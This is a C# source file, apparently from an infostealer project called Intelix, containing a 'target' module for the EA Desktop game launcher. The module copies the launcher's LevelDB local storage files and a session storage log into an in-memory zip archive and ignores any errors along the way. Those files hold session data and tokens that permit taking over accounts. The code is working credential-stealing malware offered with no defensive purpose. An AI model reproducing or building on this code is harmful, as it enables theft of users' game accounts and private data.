initial commit
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using System;
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using System.IO;
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using Intelix.Helper.Data;
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namespace Intelix.Targets.Games;
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public class ElectronicArts : ITarget
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{
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public void Collect(InMemoryZip zip, Counter counter)
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{
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string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF");
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if (!Directory.Exists(text))
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{
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return;
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}
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Counter.CounterApplications counterApplications = new Counter.CounterApplications();
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counterApplications.Name = "Electronic Arts";
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int num = 0;
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string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb");
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if (Directory.Exists(path))
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{
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string[] files = Directory.GetFiles(path);
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foreach (string text2 in files)
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{
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try
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{
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if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase))
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{
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string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2);
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zip.AddFile(text3, File.ReadAllBytes(text2));
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counterApplications.Files.Add(text2 + " => " + text3);
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num++;
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}
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}
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catch
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{
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}
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}
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}
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string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log");
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if (File.Exists(text4))
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{
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try
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{
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string text5 = "Electronic Arts\\Session Storage\\000003.log";
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zip.AddFile(text5, File.ReadAllBytes(text4));
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counterApplications.Files.Add(text4 + " => " + text5);
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num++;
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}
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catch
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{
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}
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}
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if (num != 0)
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{
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counterApplications.Files.Add("Electronic Arts\\");
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counter.Games.Add(counterApplications);
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}
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}
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}
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